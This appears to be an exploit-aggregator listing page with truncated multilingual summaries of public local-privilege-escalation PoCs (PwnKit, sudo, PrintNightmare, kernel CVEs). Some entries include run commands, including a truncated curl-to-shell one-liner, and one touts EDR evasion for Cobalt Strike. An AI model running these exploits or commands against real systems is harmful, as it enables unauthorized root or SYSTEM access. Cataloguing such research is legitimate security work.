FortiLPE

Описание Эксплойт PoC для локального повышения привилегий для CVE-2025-62676 / EUVD-2025-206993, нацеленный на FortiClient VPN под управлением Windows. Выполняет полезную нагрузку в контексте SYSTEM из контекста обычного пользователя через произвольную запись XML-файла. PoC протестирован на...

CVE-2019-1064

CVE-2019-1064 - AppXSVC ローカル特権昇格 https://www.rythmstick.net/posts/cve-2019-1064/...

CVE-2020-0041

CVE-2020-0041 이 저장소에는 bluefrostsecurity가 https://github.com/bluefrostsecurity/CVE-2020-0041/tree/master/lpe 에서 공개한, CVE-2020-0041 악용을 위한 LPE 코드가 포함되어 있습니다. 이 부분에 대한 익스플로잇 접근 방식은 https://labs.bluefrostsecurity.de/blog/2020/04/08/cve-2020-0041-part-2-escalating-to-root/ 에서 확인할 수 있습니다. 이 포크된 저장소는 다른...

CVE-2023-36874_BOF

CVE-2023-36874 Windows Error Reporting LPE BOF Введение Это зрелая и рабочая реализация BOF для CobaltStrike эксплойта LPE для Windows Error Reporting, созданного Филипом Драговичем @filipdragovic — CVE-2023-36874. Он проделал основную работу по созданию рабочего эксплойта, реверс-инжинирингу...

VQ-RefluxCore

VQ-RefluxCore: Фреймворк для оценки и исследования уязвимостей ядра VQ-RefluxCore — это продвинутый фреймворк для исследований в области безопасности, предназначенный для моделирования, анализа и демонстрации механизмов локального повышения привилегий LPE, связанных с состояниями гонки на уровне...

CVE-2025-32463

🚨 PoC: CVE-2025-32463 – Sudo chroot 탈출 취약점 sudo 버전 1.9.01.9.17p1 에 영향을 주는 치명적인 취약점으로, 사용자가 chroot을 탈출하여 실제 루트 파일시스템에 접근할 수 있게 합니다. 📌 설명 CVE-2025-32463은 sudo의 로컬 권한 상승 취약점으로, 특정 sudoers 설정을 가진 사용자가 chroot 감옥을 탈출하여 호스트 시스템의 루트 디렉터리에 접근할 수 있게 합니다. 🔥 영향 사용자의 /etc/sudoers에 다음과 같은 줄이 포함되어 있다면: someuser...

CVE-2026-80112

PassMark PerformanceTest , BurnInTest , and OSForensics each ship a vulnerable DirectIo64.sys kernel driver. The root cause is an improper access control flaw: the device object is created without a security descriptor, so Windows applies a permissive default ACL . This allows unprivileged local ...

CVE-2022-0185-POC

CVE-2022-0185 — Доказательство концепции Эксплойт доказательства концепции для CVE-2022-0185 , переполнения буфера в куче в функции legacyparseparam ядра Linux fs/fscontext.c. Это позволяет локальному непривилегированному пользователю повысить привилегии до root. Оригинальный эксплойт от Crusader...

CVE-2023-2640-3262-PoC

CVE-2023-2640/3262-PoC Ubuntu OverlayFS 로컬 권한 상승 취약점을 위한 최소 PoC입니다. CVE 목록 CVE-2023-2640 – OverlayFS 권한 처리 문제 CVE-2023-3262 – OverlayFS 권한 상승 문제 파일 CVE-2023-2640.sh – 기본 OverlayFS 동작 테스트 CVE-2023-3262.sh – 권한 상승 PoC exploitchain.sh – 결합 익스플로잇 root 요구 사항 취약한 Ubuntu 시스템 로컬 액세스 unshare, setcap, moun...

CVE-2021-4034

CVE-2021-4034 PwnKit PoC: polkit의 pkexec에 있는 로컬 권한 상승 취약점 Python 사용법 root@kitploit: git clone https://github.com/rvizx/CVE-2021-4034 cd CVE-2021-4034 python3 cve-2021-4034-poc.py 참고 C : https://github.com/arthepsy/CVE-2021-4034 수정 root@kitploit: sudo chmod 0755 /bin/pkexec...

CVE-2023-5178

CVE-2023-5178 Эксплойт для CVE-2023-5178: уязвимость NVMe-oF-TCP, которая представляет собой логическую ошибку в драйвере NVMe-oF-TCP при обработке повреждённого Initialize Connection Request. Она приводит к гонке с double-free в kmalloc-96 , которую можно использовать для получения LPE см. демо...

linux-kernel-exploits

linux-kernel-exploits 소개 linux-kernel-exploits 취약점 목록 CVE 설명 커널 CVE–2018–18955 kernel/usernamespace.c의 mapwrite로 인한 권한 상승 Linux kernel 4.15.x 4.19.x, 4.19.2 이전 CVE–2018–1000001 glibc glibc 2.6.22 2007년 출시 CVE-2016-2384 USB MIDI 드라이버의 이중 해제 Linux kernel 4.5 미만 CVE-2016-0728 ppkey 3.8.0, 3.8.1,...

PwnKit-Exploit

PwnKit-Exploit CVE-2021-4034 @c0br40x помог создать этот раздел в README!! Доказательство концепции root@kitploit: debian@debian:/PwnKit-Exploit$ make cc -Wall exploit.c -o exploit debian@debian:/PwnKit-Exploit$ whoami debian debian@debian:/PwnKit-Exploit$ ./exploit Current User before execute...

CVE-2018-17182

CVE-2018-17182 리눅스 커널 VMA-UAF 권한 상승 취약점 CVE-2018-17182 About Google Project Zero의 사이버 보안 연구원들이 상세 정보를 발표하고, 커널 버전 3.16부터 4.18.8까지의 Linux 커널에 존재하는 높은 심각도의 취약점에 대한 개념 증명PoC 익스플로잇을 공개했습니다. 화이트햇 해커 Jann Horn이 발견한 이 커널 취약점CVE-2018-17182은 Linux 메모리 관리 하위 시스템의 캐시 무효화 오류로, 사용 후 해제Use-After-Free 취약점을 유발합니...

CVE-2021-1675_RDL_LPE

CVE-2021-1675RDLLPE PrintNightMare LPE 권한 상승 취약점을 위한 CS 반사 로딩 플러그인입니다. 바로 사용할 수 있으며, 메모리 로딩과 난독화된 드라이버 이름 로딩을 통해 Defender/EDR을 우회합니다. 면책 조항: 이 프로젝트는 학습 및 교류 목적으로만 제공되며, 합리적인 승인 범위 내에서 주의하여 사용하시기 바랍니다. 빠른 사용 이 프로젝트 다운로드: Cobalt Strike 플러그인 로드 사용법: root@kitploit: printnightmarelpe dllpath elevate -...

CVE-2021-3156-Project

CVE-2021-3156 — Baron Samedit sudo의 힙 기반 버퍼 오버플로우 → 로컬 권한 상승 ITSOLERA 사이버 보안 부서 | 레드팀 인턴십 2026 root@kitploit: ██████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ ███████╗ █████╗ ███╗ ███╗███████╗██████╗ ██╗████████╗ ██╔══██╗██╔══██╗██╔══██╗██╔═══██╗████╗ ██║ ██╔════╝██╔══██╗████╗...

CVE-2024-1086

CVE-2024-1086 Универсальный эксплойт Proof-of-Concept для повышения привилегий локально для CVE-2024-1086, работающий на большинстве ядер Linux от v5.14 до v6.6, включая Debian, Ubuntu и KernelCTF. Процент успеха составляет 99,4% на образах KernelCTF...

kernel-exploits

리눅스 커널 익스플로잇 날짜| 링크| 설명| 벡터| 영향 ---|---|---|---|--- 02.2016| CVE-2016-2384| USB MIDI 드라이버의 Double-free| USB + 로컬| 로컬 권한 상승 03.2016| prefetch-side-channel| prefetch를 통한 KASLR 우회| 로컬| 정보 유출 12.2016| CVE-2016-9793| 소켓 버퍼의 부호signedness 문제| 로컬 + capnetadmin| 로컬 권한 상승 02.2017| CVE-2017-6074| DCCP 소켓의...

juicy-potato

Juicy Potato злоупотребление золотыми привилегиями Подслащенная версияRottenPotatoNG с небольшим соком, т.е. еще один инструмент локального повышения привилегий от учётных записей служб Windows до NT AUTHORITY\SYSTEM Краткое описание RottenPotatoNG и его вариации используют цепочку повышения...

PwnKit_CVE-2021-4034

PwnKit Автономный эксплойт для CVE-2021-4034 - локальное повышение привилегий Pkexec Использование Должен работать сразу на уязвимых дистрибутивах Linux на базе Ubuntu, Debian, Fedora и CentOS. root@kitploit: sh -c "$curl -fsSL...